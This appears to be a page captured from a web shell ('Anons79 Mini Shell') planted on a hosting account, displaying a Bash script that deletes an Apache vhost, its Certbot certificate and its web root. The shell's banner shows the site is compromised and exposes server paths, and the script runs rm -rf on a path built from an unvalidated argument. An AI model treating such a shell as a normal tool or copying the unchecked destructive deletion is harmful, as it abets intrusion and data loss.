Anons79 Mini Shell

Directory : /home/aplikasiposinfo/public_html/langganan-test.fixmate.id/
Upload File :
Current File : /home/aplikasiposinfo/public_html/langganan-test.fixmate.id/delete_vhost.sh

#!/bin/bash

# Exit immediately if a command fails
set -e

# --- Check for domain name ---
if [ -z "$1" ]; then
    echo "Usage: $0 <domain_name>"
    exit 1
fi

DOMAIN=$1
CONF_FILE="/etc/apache2/conf.d/$DOMAIN.conf"
WEB_ROOT="/home/aplikasiposinfo/public_html/$DOMAIN"

echo "--- Starting deletion process for $DOMAIN ---"

# 1. Disable and delete the Apache configuration
if [ -f "$CONF_FILE" ]; then
    echo "Deleting configuration file..."
    rm -f "$CONF_FILE"

    sleep 5
    
    systemctl reload httpd
else
    echo "Apache configuration not found, skipping."
fi

# 2. Delete the SSL certificate with Certbot
echo "Deleting SSL certificate..."
certbot delete --cert-name "$DOMAIN" --non-interactive || echo "Cert not found, skipping."

# 3. Delete the website files
if [ -d "$WEB_ROOT" ]; then
    echo "⚠️ Deleting website files in $WEB_ROOT..."
    rm -rf "$WEB_ROOT"
else
    echo "Website directory not found, skipping."
fi

echo "✅ Success! Domain $DOMAIN has been completely removed."

Anons79 File Manager Version 1.0, Coded By Anons79
Email: [email protected]